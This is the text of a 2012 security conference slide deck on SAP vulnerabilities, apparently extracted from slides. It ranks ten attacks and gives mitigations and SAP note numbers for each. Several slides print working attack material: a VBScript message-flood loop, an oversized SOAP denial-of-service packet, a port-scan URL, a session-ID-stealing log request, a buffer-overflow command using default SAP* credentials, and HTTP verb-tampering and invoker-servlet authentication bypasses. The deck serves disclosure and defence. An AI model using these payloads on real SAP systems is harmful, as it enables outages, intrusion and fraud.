sap (in)security: new and best
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SAP (In)Security: New and BestAlexander Polyakov
CTO at ERPScan/Digital Security
May 31, 2012
Me
Business application security expert
Instead of Intro
Vulnerabilities are everywhere
What is SAP ?
Shut upAndPay
Really
• The most popular business application• More than 120000 customers• 74% of Forbes 500
Agenda
• Intro• SAP security history• SAP on the Internet• Most popular SAP issues (OLD)• Top 10 latest interesting attacks (NEW)• DEMOs• Conclusion
3 areas of SAP Security
Business logic security Prevents attacks or mistakes made by insiders
Solution: GRCABAP Code securityPrevents attacks or mistakes made by developers
Solution: Code audit
Application platform security
Prevents unauthorized access both within the corporate network and from remote
attackers
Solution?
2002
2008
2010
Talks about SAP security
2006 2007 2008 2009 2010 2011 2012 0
5
10
15
20
25
30
35
Most popular:• BlackHat • HITB • Troopers • RSA • Source • DeepSec • etc.
SAP Security notes
2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 20120
100
200
300
400
500
600
700
800
900
By April 26, 2012, a total of 2026 notes
SAP vulnerabilities by type
12 -SQL Inj
11 - BOF
10 - Denial of service
9 - Remote Code Execution
8 - Verb tampering
7 - Code injection vulnerability
6 - Hard-coded credentials
5 - Unauthorized usage of application functionality
4 - Information Disclosure
3 - Missing Auth check
2 - XSS/Unauthorised modification of stored content
1 - Directory Traversal
0 50 100 150 200 250 300 350
Stats from :• 1Q 2012• 1Q 2010• 4Q 2009
Top problems by OWASP-EAS (Implementation issues)
EASAI-1 Lack of patch managementEASAI-2 Default Passwords for application accessEASAI-3 SOD conflictsEASAI-4 Unnecessary Enabled Application features EASAI-5 Open Remote management interfacesEASAI-6 lack of password lockout/complexity checksEASAI-7 Insecure options EASAI-8 Unencrypted communicationsEASAI-9 Insecure trust relationsEASAI-10 Guest access
Top problems by BIZEC
● BIZEC TEC-01: Vulnerable Software in Use● BIZEC TEC-02: Standard Users with Default Passwords● BIZEC TEC-03: Unsecured SAP Gateway● BIZEC TEC-04: Unsecured SAP/Oracle authentication● BIZEC TEC-05: Insecure RFC interfaces● BIZEC TEC-06: Insufficient Security Audit Logging● BIZEC TEC-07: Unsecured SAP Message Server● BIZEC TEC-08: Dangerous SAP Web Applications● BIZEC TEC-09: Unprotected Access to Administration Services● BIZEC TEC-10: Insecure Network Environment● BIZEC TEC-11: Unencrypted Communications
Business Risks
Espionage• Stealing financial information• Stealing corporate secrets• Stealing suppliers and customers list• Stealing HR data
Sabotage• Denial of service• Modification of financial reports• Access to technology network (SCADA) by trust relations
Fraud• False transactions• Modification of master data• e.t.c.
SAP on the Internet
• We have collected data about SAP systems in the WEB• Have various stats by countries, applications, versions• Information from Google, Shodan, Nmap scan
MYTH: SAP systems attacks available only for insiders
SAP on the Internet
SAP on the Internet
About 5000 systems including Dispatcher, Message server, SapHostcontrol, Web- services
Top 10 vulnerabilities 2011-2012
1. Authentication Bypass via Verb tampering2. Authentication Bypass via the Invoker servlet 3. Buffer overflow in ABAP Kernel4. Code execution via TH_GREP5. MMC read SESSIONID6. Remote portscan7. Encryption in SAPGUI 8. BAPI XSS/SMBRELAY 9. XML Blowup DOS10. GUI Scripting DOS
NNw
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10 – GUI-Scripting DOS: Description
• SAP users can run scripts which automate their user functions• A script has the same rights in SAP as the user who launched it• Security message which is shown to user can be turned off in
the registry• Almost any user can use SAP Messages (SM02 transaction)• It is possible to run DOS attack on any user using a simple script
New
Author: Dmitry Chastukhin (ERPScan)
10 – GUI-scripting: Details
If Not IsObject(application) Then Set SapGuiAuto = GetObject("SAPGUI") Set application = SapGuiAuto.GetScriptingEngineEnd IfIf Not IsObject(connection) Then Set connection = application.Children(0)End IfIf Not IsObject(session) Then Set session = connection.Children(0)End IfIf IsObject(WScript) Then WScript.ConnectObject session, "on" WScript.ConnectObject application, "on"End Ifdoa=a+1session.findById("wnd[0]").maximizesession.findById("wnd[0]/tbar[0]/okcd").text = "/nsm02"session.findById("wnd[0]/tbar[0]/btn[0]").presssession.findById("wnd[0]/tbar[1]/btn[34]").presssession.findById("wnd[1]/usr/txtEMLINE1").text = "hello"session.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").caretPosition = 0session.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").caretPosition = 0session.findById("wnd[1]").sendVKey 4session.findById("wnd[2]/usr/lbl[1,3]").setFocussession.findById("wnd[2]/usr/lbl[1,3]").caretPosition = 15session.findById("wnd[2]").sendVKey 2session.findById("wnd[1]/usr/ctxtTEMSG-CLIENT").text = "800"session.findById("wnd[1]/usr/ctxtTEMSG-LANGU").text = "en"session.findById("wnd[1]/usr/ctxtTEMSG-LANGU").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-LANGU").caretPosition = 2session.findById("wnd[1]/tbar[0]/btn[0]").pressLoop Until a>=1000
10 – GUI-scripting: Other attacks
Script can be uploaded using:– SAPGUI ActiveX vulnerability – Teensy USB flash – Any other method of client exploitation
Other attacks like changing banking accounts in LFBK also possible
10 – GUI-scripting: Business risks
Sabotage – High
Ease of exploitation – Medium
Espionage – No
Fraud – No
10 – GUI-scripting: Prevention
• SAP GUI Scripting Security Guide• sapgui/user_scripting = FALSE• Block registry modification on workstations
9 – XML Blowup DOS: Description
• WEBRFC interface can be used to run RFC functions• By default any user can have access• Can execute at least RFC_PING• SAP NetWeaver is vulnerable to malformed XML packets• It is possible to run DOS attack on server using simple script • It is possible to run over the Internet!
New
Author: Alexey Tyurin (ERPScan)
9 – XML Blowup DOS: Details
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body><m:RFC_PING xmlns:m="urn:sap-com:document:sap:rfc:functions\" a1="" a2="" ... a10000="" ></m:RFC_PING></SOAP-ENV:Body></SOAP-ENV:Envelope>
9 – XML Blowup DOS: Business risks
Ease of exploitation – Medium
Espionage – No
Fraud – No
Sabotage – Critical
9 – XML Blowup DOS: Prevention
• Disable WEBRFC • Prevent unauthorized access to WEBRFC using S_ICF• Install SAP notes 1543318 and 1469549
8 – BAPI script injection/hash stealing : Description
• SAP BAPI transaction fails to properly sanitize input
• Possible to inject JavaScript code or link to a fake SMB server
• SAP GUI clients use Windows so their credentials will be transferred to attackers host.
Author: Dmitry Chastukhin (ERPScan)
8 – BAPI script injection/hash stealing: Demo
New
8 – BAPI script injection/hash stealing: Business risks
Ease of exploitation – Low
Sabotage – High
Espionage – High
Fraud – High
7 – SAP GUI bad encryption: Description
• SAP FrontEnd can save encrypted passwords in shortcuts • Shortcuts stored in .sap file• This password uses byte-XOR algorithm with “secret” key• Key has the same value for every installation of SAP GUI• Any password can be decrypted in 1 second
Author: Alexey Sintsov (ERPScan)
New
7 – SAP GUI bad encryption: Demo
7 – SAP GUI bad encryption: Business risks
Sabotage – Medium
Fraud – High
Espionage – High
Ease of exploitation – Medium
• Disable password storage in GUI
7 – SAP GUI bad encryption: Prevention
6 – Remote port scan via JSP: Description
• It is possible to scan internal network from the Internet• Authentication is not required• SAP NetWeaver J2EE engine is vulnerable
/ipcpricing/ui/BufferOverview.jsp?server=172.16.0.13 & port=31337 & password= & dispatcher= & targetClient= & view= Author: Alexander Polyakov (ERPScan)
6 – Remote port scan via JSP: Demo
Host is not alive
Port closed
HTTP port
SAP port
6 – Remote port scan via JSP: Business risks
Espionage – Medium
Fraud – No
Ease of exploitation – High
Sabotage – Low
• Install SAP notes:1548548, 1545883, 1503856, 948851, 1545883
• Disable unnecessary applications
6 – Remote port scan via JSP: Prevention
5 – MMC JSESSIONID stealing: Description
Can be authenticated as an existing user remotely
• Remote management of SAP Platform• By default, many commands go without auth• Exploits implemented in Metasploit (by ChrisJohnRiley)• Most of the bugs are information disclosure• It is possible to find information about JSESSIONID• Only if trace is ON
1) Original bug by ChrisJohnRiley 2) JSESSIONID by Alexey Sintsov and
Alexey Tyurin (ERPScan)
New
5 – MMC SESSIONID stealing: Details
<?xml version="1.0" encoding="UTF-8" ?><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header>
<sapsess:Session xmlns:sapsess = "http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession>
</sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>
<ns1:ReadLogFile xmlns:ns1="urn:SAPControl"><filename>j2ee/cluster/server0/log/system/userinterface.log</filename><filter></filter><language></language><maxentries>100</maxentries><statecookie>EOF</statecookie>
</ns1:ReadLogFile></SOAP-ENV:Body>
</SOAP-ENV:Envelope>
5 – MMC JSESSIONID stealing: Business risks
Espionage – Critical
Sabotage – Medium
Fraud – High
Ease of exploitation – Medium
5 – MMC JSESSIONID stealing: Prevention
• The JSESSIONID by default will not be logged in log file • Don’t use TRACE_LEVEL = 3 on production systems or delete traces after use• Other info http://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm
4 – Remote command execution in TH_GREP: Description
• RCE vulnerability in RFC module TH_GREP• Found by Joris van de Vis• SAP was not properly patched (1433101)• We have discovered that the patch can be bypassed in
Windows
Original bug by Joris van de Vis (erp-sec)Bypass by Alexey Tyurin (ERPScan)
4 – RCE in TH_GREP: Details
elseif opsys = 'Windows NT'.
concatenate '/c:"' string '"' filename into grep_params in character mode.
else. /*if linux*/ /* 185 */ replace all occurrences of '''' in local_string with '''"''"'''.
/* 186 */ concatenate '''' local_string '''' filename into grep_params /* 187*/ in character mode. /* 188*/ endif.
/* 188*/
4 – RCE in TH_GREP: Demo #1
4 - RCE in TH_GREP: More details
4 ways to execute vulnerable program
• Using transaction "Se37“• Using transaction “SM51“ (thanks to Felix Granados)
• Using remote RFC call "TH_GREP"• Using SOAP RFC call "TH_GREP" via web
4 – RCE in TH_GREP: Demo #2
4 – RCE in TH_GREP: Business risks
Sabotage – Medium
Fraud – High
Espionage – High
Ease of exploitation – medium
4 – RFC in TH_GREP: Prevention
• Install SAP notes 1580017, 1433101• Prevent access to critical transactions and RFC functions• Check the ABAP code of your Z-transactions for similar vulnerabilities
3 - ABAP Kernel BOF: Description
• Presented by Andreas Wiegenstein at BlackHat EU 2011
• Buffer overflow in SAP kernel function C_SAPGPARAM
• When NAME field is more than 108 chars
• Can be exploited by calling an FM which uses C_SAPGPARAM
• Example of report – RSPO_R_SAPGPARAMAuthor: (VirtualForge)
3 -ABAP Kernel BOF: Details
> startrfc.exe -3 -h 172.16.0.63 -s 01 -c 000 –u SAP* -p 11111 -F RSPO_R_SAPGPARAM
-E NAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -t 4
RFC Call/Exception: SYSTEM_FAILUREGroup Error group 104Key RFC_ERROR_SYSTEM_FAILUREMessage connection closed without message (CM_NO_DATA_RECEIVED)
3 – ABAP Kernel BOF: Business risks
Espionage – Critical
Ease of exploitation – Medium
Fraud – Critical
Sabotage – Critical
3 – ABAP Kernel BOF: Prevention
• Install SAP notes:- 1493516 – Correcting buffer overflow in ABAP system call- 1487330 – Potential remote code execution in SAP Kernel
• Prevent access to critical transactions and RFC functions
• Check the ABAP code of your Z-transactions for critical calls
2 – Invoker Servlet: Description
Can be used for auth bypass
• Rapidly calls servlets by their class name
• Published by SAP in their security guides
• Possible to call any servlet from the application
• Even if it is not declared in WEB.XML
2 - Invoker Servlet: Details
<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet-class> </servlet><servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern> </servlet-mapping<security-constraint><web-resource-collection><web-resource-name>Restrictedaccess</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>GET</http-method></web-resource-collection><auth-constraint> <role-name>admin</role-name> </auth-constraint></security-constraint>
Author: Dmitry Chastukhin (ERPScan)
What if we call /servlet/com.sap.admin.Critical.Action
2 – Invoker servlet: Business risks
Ease of use – Very easy!
Espionage – High
Sabotage – High
Fraud – High
2 - Invoker servlet: Prevention
• Update to the latest patch 1467771, 1445998• “EnableInvokerServletGlobally” property of the servlet_jsp must be “false”
If you can’t install patches for some reason, you can check all WEB.XML files using ERPScan web.xml scanner manually.
1 – VERB Tampering
1st Place – Verb Tampering
<security-constraint><web-resource-collection><web-resource-name>Restrictedaccess</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>GET</http-method></web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint></security-constraint>
What if we use HEAD instead of GET ?
Author: Alexander Polyakov (ERPScan)
1st Place – Verb tampering: Details
• CTC – Secret interface for managing J2EE engine• Can be accessed remotely • Can run user management actions:
– Add users– Add to groups– Run OS commands– Start/Stop J2EE
Remotely without authentication!
1 – Verb tampering: Demo
1 – Verb tampering: More details
If patched, can be bypassed by the Invoker servlet!
1 – Verb tampering: Business risks
Espionage – Critical
Sabotage – Critical
Fraud – Critical
Ease of use – Very easy!
1st Place – Verb tampering: Prevention
Prevention:• Install SAP notes 1503579,1616259• Install other SAP notes about Verb Tampering (about 18)• Scan applications using ERPScan WEB.XML check tool or manually• Secure WEB.XML by deleting all <http-method>• Disable the applications that are not necessary
Conclusion
It is possible to be protected from almost all those kinds of issues and we are working hard with SAP to make it secure
SAP Guides
It’s all in your hands
Regular Security assessments
ABAP Code review
Monitoring technical security
Segregation of Duties
Future work
Many of the researched things cannot be disclosed now because of our good relationship with SAP Security Response Team, whom I would like to thank for cooperation. However, if you want to see new demos and 0-days, follow us at @erpscan and attend the future presentations:
• Just4Meeting in July (Portugal)• BlackHat USA in July (Las Vegas)
Greetz to our crew who helped: Dmitriy Evdokimov, Alexey Sintsov, Alexey Tyurin, Pavel Kuzmin, Evgeniy Neelov.
